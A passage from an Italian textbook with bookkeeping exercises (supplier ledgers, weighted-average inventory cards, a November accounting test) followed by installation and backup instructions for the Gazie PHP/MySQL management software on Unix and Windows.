codice fornitore	scheda del fornitore: «Delta»	eccedenza dare	eccedenza avere
4		0,00	30 078,59

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	0,00	18 138,24
10	05/10				girato alla ditta Delta, l'assegno ricevuto dalla ditta Zeta nello stesso giorno	3 351,60	0,00
14	09/10	147	09/10	36	ricevuta fattura per interessi di mora al 5% per 60 giorni, su 7050,00 € (IVA esclusa art. 15)	0,00	57,95
23	19/10	155	19/10	38	ricevuta fattura per acquisto di merci dal fornitore Delta	0,00	7 674,00
29	27/10	170	27/10	41	ricevuta fattura per acquisto di merci dal fornitore Delta	0,00	7 560,00
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

codice fornitore	scheda del fornitore: «Errex»	eccedenza dare	eccedenza avere
5		0,00	25 410,62

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	0,00	21 031,42
2	02/10	123	02/10	35	ricevuta fattura per acquisto di merci	0,00	1 555,20
19	12/10				anticipate, per conto del fornitore Errex, spese di trasporto	38,00	0,00
20	12/10	154	12/10	37	ricevuta fattura per acquisto di merci	0,00	2 862,00
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

codice fornitore	scheda del fornitore: «Domenichelli»	eccedenza dare	eccedenza avere
6		0,00	187,40

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	0,00	101,15
3	02/10				pagate spese di trasporto	101,15	0,00
24	19/10	366	17/10	39	ricevuta fattura per un trasporto	0,00	83,00
28	27/10	395	27/10	40	ricevuta fattura per un trasporto	0,00	104,40
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

31 ottobre

Viene stampato il giornale di magazzino e si producono le schede di valorizzazione dei due articoli, sia al costo medio ponderato per movimento, sia al costo medio ponderato per periodo.

- Stampare il giornale di magazzino.
- Stampare le schede di valorizzazione al costo medio ponderato per movimento dei due articoli utilizzati.
- Stampare le schede di valorizzazione al costo medio ponderato per periodo dei due articoli utilizzati.

articolo	scheda di magazzino dell'articolo : «merce A»
A	

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
1	30/09	giacenza iniziale	50000,000	0,500		50000,000	25000,00
3	02/10	acquisto da Errex ft 123 del 2/10 pr 35	2400,000	0,600		52400,000	26440,00
6	08/10	vendita a Zeta con ft 103 del 8/10	-6850,000		0,50	45550,000	23015,00
8	13/10	vendita a Yankee con ft 104 del 13/10	-175,000		0,51	45375,000	22925,75
9	17/10	acquisto da Delta con ddt 264 del 17/10 pr 43	12700,000	0,500		58075,000	29275,75
12	27/10	acquisto da Delta con ddt 281 del 27/10 pr 44	10500,000	0,600		68575,000	35575,75

articolo	scheda di magazzino dell'articolo : «merce B»
B	

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
2	30/09	giacenza iniziale	10000,000	0,500		10000,000	5000,00
4	03/10	vendita a Zeta con ft 100 del 3/10	-2850,000		0,50	7150,000	3575,00
5	06/10	acquisto da Delta con ddt 243 del 6/10 pr 42	10680,000	0,550		17830,000	9449,00
7	12/10	acquisto da Delta con ft 154 del 12/10 pr 37	4770,000	0,500		22600,000	11834,00
10	17/10	vendita a Emme con ft 105 del 17/10	-5200,000		0,52	17400,000	9130,00
11	26/10	vendita a Zeta con ft 106 del 26/10	-3720,000		0,52	13680,000	7195,60
13	30/10	reso da Zeta con ddt 245 del 30/10 pr 45	720,000			14400,000	7195,60

articolo	scheda di magazzino dell'articolo : «merce A»
A	

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
1	30/09	giacenza iniziale	50000,000	0,500		50000,000	25000,00
3	02/10	acquisto da Errex ft 123 del 2/10 pr 35	2400,000	0,600		52400,000	26440,00
6	08/10	vendita a Zeta con ft 103 del 8/10	-6850,000		0,52	45550,000	22878,00
8	13/10	vendita a Yankee con ft 104 del 13/10	-175,000		0,52	45375,000	22787,00
9	17/10	acquisto da Delta con ddt 264 del 17/10 pr 43	12700,000	0,500		58075,000	29137,00
12	27/10	acquisto da Delta con ddt 281 del 27/10 pr 44	10500,000	0,600		68575,000	35437,00

articolo	scheda di magazzino dell'articolo : «merce B»
B	

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
2	30/09	giacenza iniziale	10000,000	0,500		10000,000	5000,00
4	03/10	vendita a Zeta con ft 100 del 3/10	-2850,000		0,52	7150,000	3518,00
5	06/10	acquisto da Delta con ddt 243 del 6/10 pr 42	10680,000	0,550		17830,000	9392,00
7	12/10	acquisto da Delta con ft 154 del 12/10 pr 37	4770,000	0,500		22600,000	11777,00
10	17/10	vendita a Emme con ft 105 del 17/10	-5200,000		0,52	17400,000	9073,00
11	26/10	vendita a Zeta con ft 106 del 26/10	-3720,000		0,52	13680,000	7138,60
13	30/10	reso da Zeta con ddt 245 del 30/10 pr 45	720,000			14400,000	7138,60

124.14.1 Conclusione

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere:

- scheda riassuntiva degli errori;
- bilancio di verifica finale, al 31 ottobre;
- giornale di contabilità generale;
- registro delle fatture di acquisto;
- registro delle fatture di vendita;
- partitario dei clienti e dei fornitori;
- giornale di magazzino;
- schede di magazzino al costo medio ponderato per movimento;
- schede di magazzino al costo medio ponderato per periodo;

I documenti devono essere impaginati correttamente e ordinati come sopra indicato.

Si faccia attenzione all'ordine con cui vengono fornite le stampe, dal momento che questo è uno dei fattori determinanti all'interno della valutazione che se ne può ottenere.

Gli studenti che non riescono a terminare l'esercizio correttamente e che non riescono poi a rimediare devono ripetere l'esercitazione.

124.15 Verifica integrata (int2) - terza parte

In questa sezione si svolge una verifica in cui si simula, in breve, il mese successivo alla verifica della sezione precedente. Pertanto, alcuni tipi di errori che potrebbero essere stati fatti nello svolgimento della verifica precedente possono ripercuotersi anche nella verifica che sta per iniziare. Ciò significa che, nel caso si rilevino errori, può rendersi necessario l'intervento anche sulle registrazioni riferite al periodo precedente.

Durante lo svolgimento di questa verifica non vengono dati chiarimenti di alcun genere, perché non c'è nulla di nuovo rispetto alla verifica precedente (che può essere consultata) e ciò che serve è spiegato nel testo.

Questo nuovo esercizio riguarda la contabilità dell'azienda già vista prima nel periodo di novembre. Le operazioni non sono spiegate e si deve intendere dai dati riportati quale tipo di azione intraprendere con la procedura.

124.15.1 Le operazioni dal 1 novembre al 30 novembre

1 novembre

Ricevuta la fattura seguente.

```
.-----------------------------------------------------------------------------.
| D E L T A   s.p.a.                   | Spett.                               |
| ...                                  | Ditta per le esercitazioni           |
|                                      | ...                                  |
|                                      | ...                                  |
|                                      | PROTOCOLLO 042                       |
|-----------------------------------------------------------------------------|
| Fattura n. 186/   del 31-10-1982                                            |
|-----------------------------------------------------------------------------|
| pagamento Ricevuta bancaria 60 gg d.f.     banca di appoggio BANCA ITCS     |
|-----------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|----------------------------------------------------------------------|
|      | Da documento di trasporto n. 243 del 06/10/1982 |                |    |
| 97TR | Articolo «B»       |  10680 |        0,55 |      |       5.874,00 | 20 |
|      |                    |        |             |      |                |    |
|      |                    |        |             |      |                |    |
|      |                    |        |             |      |                |    |
|---------------------------|---------------------|-----------------------------|
| Totale merce     5.874,00 |                     | Totale netto      5.874,00 |
|-----------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|         5.874,00 |           20 |                1.174,80 |          5.874,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale IVA        |
|                   |              |                         |          1.174,80 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale fattura    |
|                   |              |                         |          7.048,80 |
|----------------------------------------------------------|===================|
| Scadenze: 31/12/1982   7.048,80                                             |
`-----------------------------------------------------------------------------'
```

1 novembre

Liquidata l'IVA del mese precedente. I valori possono essere letti dai registri IVA del mese precedente.

IVA ns. debito	*liquidazione IVA*	*x*	
IVA ns. credito			*x*
Debito per IVA			*x*

2 novembre

Presentati all'incasso gli effetti stampati il 31 ottobre. Il valore nominale totale degli effetti è di 14832,00 €.

6 novembre

Inviata merce alla ditta Zeta (emettere il documento di trasporto).

Descrizione Articolo	Quantità	Prezzo unitario
Articolo A	1200	1,05

9 novembre

Pagati oneri sociali a carico del datore di lavoro tramite banca per 3188,23 € (Istituti Previdenziali).

9 novembre

Pagate all'erario le ritenute operate durante il mese precedente sugli stipendi dei dipendenti. Il pagamento avviene tramite banca e l'importo è di 875,00 € (Erario c/Ritenute da Versare).

10 novembre

Paghiamo alla ditta Delta con A/B i nostri debiti in scadenza che ammontano a 5000,00 €.

11 novembre

Riceviamo dalla ditta Emme 2000,00 € in A/B in acconto dei crediti in scadenza.

12 novembre

Versiamo in banca l'assegno ricevuto dalla ditta Emme.

12 novembre

Versiamo in banca un altro assegno ricevuto in precedenza (il 30 ottobre dalla ditta ZETA) di 3699,60 €.

15 novembre

Paghiamo alla ditta Errex, con A/B, i nostri debiti in scadenza che ammontano a 5000,00 €.

16 novembre

Inviata merce alla ditta Emme (emettere il documento di trasporto).

Descrizione Articolo	Quantità	Prezzo Unitario
Articolo A	3000	1,05

20 novembre

Pagata l'IVA liquidata il 1 novembre, tramite banca.

22 novembre

Incassati dalla banca gli effetti presentati il 2 novembre. Il valore nominale degli effetti era 14832,00 € e la banca ci addebita 120,00 € per spese di incasso (Oneri finanziari vari).

30 novembre

Liquidati salari e stipendi per 6850,00 €, assegni familiari e indennità di malattia 205,00 €.

30 novembre

Pagate le retribuzioni a mezzo assegno bancario effettuando ritenute sociali per 606,22 € e ritenute fiscali per 875,00 €.

30 novembre

Liquidati contributi sociali a carico dell'azienda per 2787,00 €.

30 novembre

Vengono emesse le fatture relative ai documenti di trasporto emessi durante questo mese.

30 novembre

Vengono emessi gli effetti relativi alle fatture in cui si prevede un pagamento con emissione di cambiale tratta.

30 novembre

Vengono registrati in contabilità le fatture emesse e gli effetti attivi stampati.

30 novembre

Vengono stampati i seguenti documenti:

- Bilancio di verifica al 30 novembre (la scheda dei conti con le eccedenze)
- Libro giornale completo
- Registro IVA acquisti di novembre
- Registro IVA vendite di novembre
- Giornale di magazzino completo.
- Schede di magazzino dei due articoli.

124.15.2 Conclusione

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere:

- DDT n. 65
- DDT n. 66
- Fattura n. 108
- Fattura n. 109
- Tratta della fattura n. 109
- Bilancio di verifica finale (situazione dei conti)
- Giornale generale di contabilità, completo
- Registro fatture di acquisto di novembre
- Registro fatture di vendita di novembre
- Giornale di magazzino, completo
- Schede di magazzino

Se si riscontrano errori nel bilancio di verifica, è necessario individuare a quale periodo si riferiscono, perché potrebbe trattarsi di problemi ereditati dalla verifica precedente.
Se si trovano errori che appartengono al periodo precedente, questi vanno comunque corretti.

Parte xiii

Gazie

125 Installazione e manutenzione generale 8435

125.1 Gazie in un sistema Unix 8436

125.2 Gazie in un sistema MS-Windows 8439

125.3 Predisposizione di un servizio «on-line» 8456

125.4 Utilizzo generale di Gazie e configurazione principale dell'azienda 8458

125.5 Riferimenti 8475

126 Manuale sintetico delle funzionalità principali di Gazie 8477

126.1 Archivi di base 8478

126.2 Home 8492

126.3 Contabilità 8493

126.4 Fine anno 8506

126.5 Magazzino 8512

126.6 Vendite 8528

126.7 Acquisti 8543

127 Esercitazioni con Gazie 8547

127.1 Utilizzo di «gazie.informaticalibera.net» 8548

127.2 Esercitazione con la contabilità generale (coge1) 8552

127.3 Verifica sulla gestione della contabilità generale (coge2) 8565

127.4 Verifica guidata sulla chiusura (coge3) 8567

127.5 Esercitazione con la contabilità di magazzino (mag1) 8574

127.6 Verifica sulla gestione della contabilità di magazzino (mag2) 8577

127.7 Esercitazione sulla gestione delle vendite (vend1) 8578

127.8 Verifica sulla gestione dei documenti della vendita (vend2) 8587

127.9 Verifica sulla gestione dei documenti della vendita (vend3) 8594

127.10 Verifica integrata (int1) 8601

127.11 Verifica integrata guidata (int2) - prima parte 8604

127.12 Verifica integrata guidata (int2) - seconda parte 8635

127.13 Verifica integrata guidata (int2) - terza parte 8646

Capitolo 125

Installazione e manutenzione generale

125.1 Gazie in un sistema Unix 8436

125.1.1 Configurazione del servente HTTP 8436
125.1.2 MySQL 8437
125.1.3 PHP: «magic_quotes_gpc = Off» 8438
125.1.4 Collegamenti simbolici 8439

125.2 Gazie in un sistema MS-Windows 8439

125.2.1 XAMPP in un sistema MS-Windows 8440
125.2.2 Installazione di WampServer in un sistema MS-Windows 8443
125.2.3 Installazione di Gazie 8445
125.2.4 Installazione di più gestioni indipendenti 8449
125.2.5 Copia di sicurezza con phpMyAdmin 8449
125.2.6 Aggiornamento di Gazie 8453

125.3 Predisposizione di un servizio «on-line» 8456

125.3.1 Servente HTTP 8456
125.3.2 Struttura di «/var/www/gazie/» e associazione alle basi di dati 8457
125.3.3 Le basi di dati 8457
125.3.4 Conclusione 8458

125.4 Utilizzo generale di Gazie e configurazione principale dell'azienda 8458

125.4.1 Organizzazione del menù 8458
125.4.2 Codifica del bilancio «IV direttiva CEE» 8459
125.4.3 Piano dei conti 8460
125.4.4 Banche 8467
125.4.5 Clienti, fornitori e agenti 8468
125.4.6 Articoli di magazzino 8469
125.4.7 Causali di contabilità 8469
125.4.8 Tipi di pagamento 8470
125.4.9 Codici relativi all'accompagnamento della merce 8470
125.4.10 Configurazione della scheda riepilogativa dell'azienda 8471

125.5 Riferimenti 8475

125.1 Gazie in un sistema Unix

Gazie[1] è un applicativo gestionale scritto in PHP e JavaScript che si avvale di una base di dati MySQL e di un servente HTTP, in grado di gestire più aziende. Tuttavia esiste la possibilità di eseguire un'installazione multipla dell'applicativo, per gestioni alternative e indipendenti. Ciò che si vuole mostrare qui, a titolo di esempio, è un'installazione collocata nella directory '~/public_html/gazie/' di ogni utente, di un sistema Unix comune.

Figura 125.1. Schema di installazione di Gazie, al quale ci si riferisce.

servente HTTP
Gazie
utenze
MySQL
http://nodo1/~tizio/gazie
nodo2
nodo1

Come si vede dalla figura, nel nodo principale (nodo 1) sono installati il servente HTTP (assieme all'interprete PHP), Gazie e le utenze personali, ognuna con una propria directory personale. Il DBMS MySQL può risiedere in un secondo elaboratore oppure anche nello stesso nodo principale.

125.1.1 Configurazione del servente HTTP

Si prevede di installare Gazie, da qualche parte a partire dalla directory '~/public_html/' di ogni utente; pertanto, il servente HTTP deve essere configurato di conseguenza. A titolo di esempio, l'estratto seguente riguarda la configurazione di Mathopd, un servente HTTP molto semplice e spartano:

```
Control {
    Alias /~
    Location public_html
    UserDirectory On
    ...
}
```

Naturalmente, deve essere concesso che i file terminanti con l'estensione '.php' siano eseguiti automaticamente all'interprete PHP. Nel caso della configurazione di Mathopd, ciò significa avere una direttiva simile a quella seguente, la quale deve però apparire prima dell'estratto appena mostrato:

```
External {
    /usr/bin/php-cgi { .php .phtml .pht }
}
```

Nella configurazione del servizio HTTP, vanno tenuti in considerazione anche altri dettagli. In particolare occorre valutare i tempi massimi (*timeout*) di varie funzioni. Ci sono fondamentalmente due aspetti: il tempo massimo per l'esecuzione di programmi CGI e il tempo massimo per le risposte. Dal momento che Gazie deve produrre e inviare file PDF, questi tempi devono essere sufficienti a fare entrambe le cose. Nel caso della configurazione di Mathopd, viene suggerita una configurazione simile a quella seguente:

```
Tuning {
        NumConnections 64
        BufSize 12288
        InputBufSize 2048
        ScriptBufSize 4096
        NumHeaders 100
        Timeout 240
        ScriptTimeout 120
}
```

125.1.2 MySQL

Presso lo stesso elaboratore che ospita il servente HTTP e Gazie, oppure in un altro, è necessario disporre le basi di dati personali per ogni utente, gestite attraverso MySQL. In generale può essere conveniente usare il nome dell'utente, così come viene riconosciuto dal sistema operativo, anche per il nome della base di dati personale e per il nominativo-utente riconosciuto dal DBMS MySQL. Intervenendo come amministratore di MySQL, possono essere impartiti i comandi SQL seguenti relativi all'utenza «tizio». Si opera nella base di dati amministrativa ('**`mysql`**') per creare la base di dati '**`tizio`**' e l'utenza '**`tizio`**', con parola d'ordine «erpopen», nella sua versione locale e in quella generale, per tutta la rete:

$ **mysql --host=*nodo* --user=root --password=*password* mysql** [*Invio*]

mysql> **CREATE DATABASE tizio;** [*Invio*]

mysql> **GRANT ALL ON tizio.* TO tizio@'localhost' ↩**
↪ IDENTIFIED BY 'erpopen' WITH GRANT OPTION; [*Invio*]

mysql> **GRANT ALL ON tizio.* TO tizio@'%' ↩**
↪ IDENTIFIED BY 'erpopen' WITH GRANT OPTION; [*Invio*]

mysql> **\q** [*Invio*]

Il pacchetto della distribuzione di Gazie contiene, nella directory '`gazie/setup/`', un file con istruzioni SQL, adatto a generare tutte le tabelle necessarie a Gazie per il suo funzionamento. Si tratta di un file con un nome del tipo '`install_`***versione***`.sql`'; altri file, con nome del tipo '`update_`***versione***`.sql`' servono per aggiornare le tabelle alla struttura di una nuova versione di Gazie. Ogni utente che ha a disposizione una propria base di dati farebbe bene a predisporre il file '`~/.my.cnf`' con dati simili all'esempio seguente, dove si prende in considerazione il caso di «tizio».

```
[client]
user     = tizio
password = erpopen
```

In tal modo, volendo caricare i dati dell'azienda vuota, per la prima volta, potrebbe utilizzare il comando seguente, dove il nome «tizio» rappresenta in questo caso il nome della base di dati:

```
$ cat install_versione.sql | ↩
↪    mysql --host=nodo tizio [Invio]
```

Inoltre, nella propria installazione personale di Gazie, ogni utente dovrebbe modificare il file '.../config/config/gconfig.php', come dall'estratto seguente:

```
// Parametri di accesso: server, db, utente, passwd e prefisso
// per le tabelle
$Host     = "nodo";
$Database = "tizio";
$User     = "tizio";
$Password = "erpopen";
$table_prefix = "gaz";
```

Nell'esempio non è stato precisato in quale nodo si trovi la base di dati di MySQL, quindi, si tratta di sostituire ***nodo*** con qualcosa di più appropriato. Si osservi che il prefisso delle tabelle deve rimanere '**gaz**'.

125.1.2.1 Copia di sicurezza

Così come è semplice creare a mano la base di dati iniziale di Gazie, è facile anche fare una copia di sicurezza di una gestione già in corso:

```
$ mysqldump ↩
↪             -h nodo ↩
↪             -u utente ↩
↪             -pparola_d'ordine ↩
↪             --add-drop-database ↩
↪             --complete-insert ↩
↪             --dump-date ↩
↪             --hex-blob ↩
↪             nome_db ↩
↪             > file_sql [Invio]
```

L'esempio mostra il salvataggio della base di dati rappresentata dalla metavariabile ***nome_db***, per produrre il file di testo rappresentato dalla metavariabile ***file_sql***.

125.1.3 PHP: «magic_quotes_gpc = Off»

La configurazione predefinita dell'interprete PHP prevede ciò che si definisce con la direttiva seguente:

```
magic_quotes_gpc = Off
```

Tuttavia, può darsi che per qualche motivo, la configurazione globale del sistema preveda qualcosa di diverso. Ma per il funzionamento corretto di Gazie è necessario che tale opzione sia configurata nel modo appena mostrato e a questo proposito è previsto il file '.htaccess' con un'istruzione utile a informare il servente HTTP di questa opzione richiesta all'interprete PHP.

Purtroppo, il file '`.htaccess`' viene recepito solo da alcuni serventi HTTP (soprattutto Apache), mentre viene ignorato da Mathopd e altri serventi alternativi. Per risolvere il problema, nel caso fosse necessario, a causa di una configurazione complessiva conflittuale, si possono predisporre dei file '`php.ini`', contenenti semplicemente la riga già mostrata, collocandoli nelle directory '`modules/*/`' di Gazie (evitando però di lasciare questo file nella stessa directory '`/modules/`').

125.1.4 Collegamenti simbolici

Per rendere il lavoro più uniforme e consentire all'amministratore di sistema di lavorare attraverso degli script (ammesso che la configurazione del servente HTTP lo permetta), si può installare una copia di Gazie, da qualche parte nel file system, quindi si possono realizzare dei collegamenti simbolici, all'interno di ogni directory '`~/public_html/`' per simulare un'installazione personale. Infine, il file '`gconfig.php`' andrebbe copiato realmente in ogni directory personale degli utenti. I passaggi seguenti si svolgono soltanto nell'elaboratore che offre il servizio HTTP assieme a Gazie; questi servono a mostrare il procedimento, partendo dal presupposto che una copia di Gazie sia disponibile nella directory '`/usr/share/gazie/`'.

```
# cp -dpRlv /usr/share/gazie /home/tizio/public_html [Invio]

# rm /home/tizio/public_html/gazie/config/config/gconfig.php [Invio]

# cp /usr/share/gazie/config/config/gconfig.php ↩
↪   /home/tizio/public_html/gazie/config/config [Invio]

# chown tizio:  -R /home/tizio/public_html/gazie [Invio]

# chmod a+rX -R /home/tizio/public_html/gazie [Invio]
```

Considerato che probabilmente l'amministratore di sistema crea, con l'aiuto di uno script, la base di dati di ogni utente e vi associa una parola d'ordine casuale, la creazione del file '`gconfig.php`' degli utenti, con la configurazione appropriata, potrebbe essere sempre compito dell'amministratore stesso e tutto il ramo '`/home/tizio/public_html/gazie/`' potrebbe appartenere tranquillamente a '**`root`**', così che l'utente non possa fare danni involontariamente.

125.2 Gazie in un sistema MS-Windows

Gazie può essere installato in un qualunque sistema operativo, dove sia possibile gestire una base di dati con MySQL, assieme a un servente HTTP in grado di interpretare correttamente il linguaggio PHP. Per predisporre tutto questo in un sistema MS-Windows, in modo relativamente semplice, si può utilizzare XAMPP, oppure WampServer.[2]

125.2.1 XAMPP in un sistema MS-Windows

XAMPP[3] è un pacchetto che integra Apache, MySQL, PHP e altre funzionalità, facilitandone l'installazione e la configurazione in vari sistemi operativi, tra cui MS-Windows e MacOSX. Una volta scaricato il file di installazione, avviandolo si procede attraverso le fasi descritte intuitivamente dalle figure successive. Le figure appaiono nella sequenza corretta e vengono proposte senza didascalia.

`Should I shortcuts to the startmenu/desktop? (y/n):` **`y`** [*Invio*]

`Should I proceed? (y/x=exit setup):` **`y`** [*Invio*]

```
C:\WINDOWS\system32\cmd.exe

###############################################################################
# XAMPP 1.7.2 - Setup                                                         #
#-----------------------------------------------------------------------------#
# Copyright 2009 Carsten Wiedmann (FreeBSD License)                           #
#-----------------------------------------------------------------------------#
# Authors: Carsten Wiedmann <carsten_sttgt@gmx.de>                            #
#          Kay Vogelgesang <kvo@apachefriends.org>                            #
###############################################################################

Should I make a portable XAMPP without drive letters?

NOTE: - You should use drive letters, if you want use services.
      - With USB sticks you must not use drive letters.

Your choice? (y/n): n
```

`Your choice? (y/n):` **`n`** [*Invio*]

Eventualmente, alla domanda appena posta si può rispondere affermativamente, se si vuole provare a installare XAMPP e Gazie in un'unità di memoria solida USB.

```
C:\WINDOWS\system32\cmd.exe
Should I make a portable XAMPP without drive letters?

NOTE: - You should use drive letters, if you want use services.
      - With USB sticks you must not use drive letters.

Your choice? (y/n): n

relocating XAMPP...
relocate XAMPP base package
relocate Apache
relocate FileZilla FTP Server
relocate Mercury
relocate MySQL
relocate OpenSSL
relocate Perl
relocate PHP
relocate phpMyAdmin
relocate Sendmail
relocate Webalizer
relocate XAMPP Demopage
relocating XAMPP successful.

XAMPP is ready to use.

Press <Return> to continue: _
```

`Press <Return> to continue:` [*Invio*]

```
C:\WINDOWS\system32\cmd.exe

###############################################################################
# XAMPP 1.7.2 - Setup                                                         #
#-----------------------------------------------------------------------------#
# Copyright 2009 Carsten Wiedmann (FreeBSD License)                           #
#-----------------------------------------------------------------------------#
# Authors: Carsten Wiedmann <carsten_sttgt@gmx.de>                            #
#          Kay Vogelgesang <kvo@apachefriends.org>                            #
###############################################################################

I have set the timezone in 'php.ini' and 'my.ini' to "Europe/Paris".

You should correct these values if my guess was wrong.

Press <Return> to continue: _
```

`Press <Return> to continue:` [*Invio*]

```
C:\WINDOWS\system32\cmd.exe

###############################################################################
# XAMPP 1.7.2 - Setup                                                         #
#-----------------------------------------------------------------------------#
# Copyright 2009 Carsten Wiedmann (FreeBSD License)                           #
#-----------------------------------------------------------------------------#
# Authors: Carsten Wiedmann <carsten_sttgt@gmx.de>                            #
#          Kay Vogelgesang <kvo@apachefriends.org>                            #
###############################################################################

1. start XAMPP Control Panel
2. relocate XAMPP
   (current path: C:\xampp)
3. disable HTTPS (SSL)
4. disable Server Side Includes (SSI)
5. enable IPv4 only (current: IPv4/6 (auto))
6. disable mod_perl
7. disable Apache::ASP

x  Exit

Please choose (1-7/x): _
```

`Please choose (1-7/x):` **`x`** [*Invio*]

XAMPP va avviato dal menù delle applicazioni, dalla voce `XAMPP for Windows`, `XAMPP control panel`.

Quando si avvia XAMPP si ottiene un pannello di controllo delle applicazioni che compongono XAMPP stesso. Da lì occorre accertarsi che siano in funzione Apache e MySQL, altrimenti occorre provvedervi con i bottoni che suggeriscono l'avvio dei servizi.

Va osservato che i file da pubblicare con l'ausilio di Apache, ovvero del servente HTTP, vanno collocati a partire dalla directory '`htdocs\`'. Ammesso che XAMPP sia stato installato nel disco '`C:`', come suggerito dalle figure di questo capitolo, si tratta precisamente della directory '`C:\xampp\htdocs\`'. Per verificare la correttezza dell'installazione, si può visualizzare, con il navigatore, la pagina *`http://localhost/`*, da dove si deve ottenere una presentazione di XAMPP.

125.2.2 Installazione di WampServer in un sistema MS-Windows

WampServer[4] è un pacchetto che integra Apache, MySQL e PHP, facilitandone l'installazione e la configurazione in un sistema MS-Windows. Una volta scaricato il file di installazione, avviandolo si procede attraverso le fasi descritte intuitivamente dalle figure successive. Le figure appaiono nella sequenza corretta e vengono proposte senza didascalia.

Viene richiesto di confermare o di specificare il navigatore da utilizzare. Per Gazie è preferibile usare Mozilla o un suo equivalente.

Quando WampServer è in funzione, appare un'icona nella barra delle applicazioni, da dove è possibile ottenere un menù:

Il servizio deve essere avviato, eventualmente richiedendolo espressamente con la voce *Put online*; quindi, per verificare la correttezza dell'installazione, si può visualizzare, con il navigatore, la pagina `http://localhost/`, da dove si deve ottenere una presentazione di WampServer:

125.2.3 Installazione di Gazie

Gazie viene installato, manualmente, nella cartella '`htdocs\`' di XAMPP, oppure nella cartella '`www\`' di WampServer. In pratica dovrebbe trattarsi della directory '`C:\xampp\htdocs\`' o di '`C:\wamp\www\`', rispettivamente. Si parte dall'archivio compresso di Gazie, il quale contiene la directory '`gazie\`': tale directory viene copiata in '`C:\xampp\htdocs\`' o in '`C:\wamp\www\`'.

A questo punto, si avvia Gazie, visitando l'indirizzo `http://localhost/gazie`, ma Gazie si accorge della mancanza della base di dati e propone di passare alla sua creazione:

INSTALLA

Fatto ciò, l'installazione è completa e si può usare Gazie a partire dall'indirizzo *http://localhost/gazie/*, da dove si accede inizialmente con il nominativo-utente '**amministratore**' e la parola d'ordine '**password**'.

125.2.4 Installazione di più gestioni indipendenti

Volendo amministrare delle gestioni separate e indipendenti, è possibile installare più copie di Gazie (ciò può essere particolarmente utile se si vuole provare una versione aggiornata di Gazie prima di utilizzarla per l'amministrazione in corso effettivamente). Per fare questo si procede copiando la directory '`gazie\`' con un altro nome, per esempio '`gazie2\`'; quindi, occorre modificare il file '`gazie2\config\config\gconfig.php`'. Il contenuto di questo file va modificato come nel listato successivo, dove è evidenziato con un carattere più scuro il valore significativo.

Listato 125.27. Modifica della configurazione di Gazie, per utilizzare una base di dati alternativa a quella standard, in modo da poter disporre di un'altra gestione indipendente.

```
...
// Parametri di accesso: server, db, utente, passwd e prefisso
// per le tabelle
$Host     = "localhost";
$Database = "gazie2";
$User     = "root";
$Password = "";
$table_prefix = "gaz";
...
```

Successivamente occorrerebbe procedere nuovamente con l'installazione della base di dati, come già descritto.

125.2.5 Copia di sicurezza con phpMyAdmin

I dati gestiti da Gazie sono costituiti da una base di dati di MySQL. All'interno di XAMPP e di WampServer è disponibile anche phpMyAdmin, con il quale è facile fare una copia di sicurezza dei dati, in forma di file sorgente SQL.

Dal menù di XAMPP o di WampServer si avvia phpMyAdmin:

phpMyAdmin è un'applicazione utilizzata attraverso il navigatore ipertestuale. In questo caso lo si vede in funzione all'interno di Internet Explorer:

Per salvare una copia della base di dati di Gazie, si seleziona la voce `Esporta`. Nella scheda che appare si deve selezionare il nome della base di dati; in questo caso si chiama precisamente '**`gazie`**':

Si devono selezionare le voci `Aggiungi DROP DATABASE` e `Aggiungi DROP TABLE/VIEW/PROCEDURE/FUNCTION/EVENT`; inoltre ci si deve accertare che la voce `Usa dati esadecimali per BLOB` sia attiva:

Va richiesto espressamente di salvare in un file. In questo caso si sceglie di usare il nome '`gazie20091201.sql`'. Al termine si conferma selezionando il bottone [ESEGUI].

Per ripristinare una base di dati, partendo da un file SQL, si utilizza sempre phpMyAdmin, scegliendo la scheda *Importa*:

Si deve quindi selezionare il file da recuperare, nella casella `Percorso del file`, quindi si può confermare con il bottone [ESEGUI].

125.2.6 Aggiornamento di Gazie

Quando si vuole aggiornare Gazie, si procede normalmente alla sostituzione dei file che compongono il pacchetto, passando quindi alla conversione delle tabelle della base di dati già utilizzata. Naturalmente, dato che il procedimento potrebbe nascondere delle insidie, prima di pensare a un aggiornamento, occorre avere fatto una copia di sicurezza della base di dati (in

modo da poter ripristinare il funzionamento con la vecchia versione di Gazie) ed essere sicuri di saperla ripristinare in caso di necessità.

Si comincia dal modificare il nome della cartella di Gazie, in modo da poter poi estrarre la nuova versione, senza sovrascrivere i file che contiene quella della versione più vecchia:

Successivamente si apre il pacchetto della nuova edizione di Gazie e si copia la cartella '`gazie\`', incollandola a fianco della vecchia cartella, già rinominata:

A questo punto, all'indirizzo *`http://localhost/gazie`* si raggiunge la nuova edizione di Gazie, appena installata, ma questa si trova a interagire con la vecchia versione della base di dati. Gazie stesso se ne accorge e invita procedere all'aggiornamento:

È sufficiente seguire l'invito (di fare un clic sul riferimento in evidenza) per passare alla

maschera di aggiornamento:

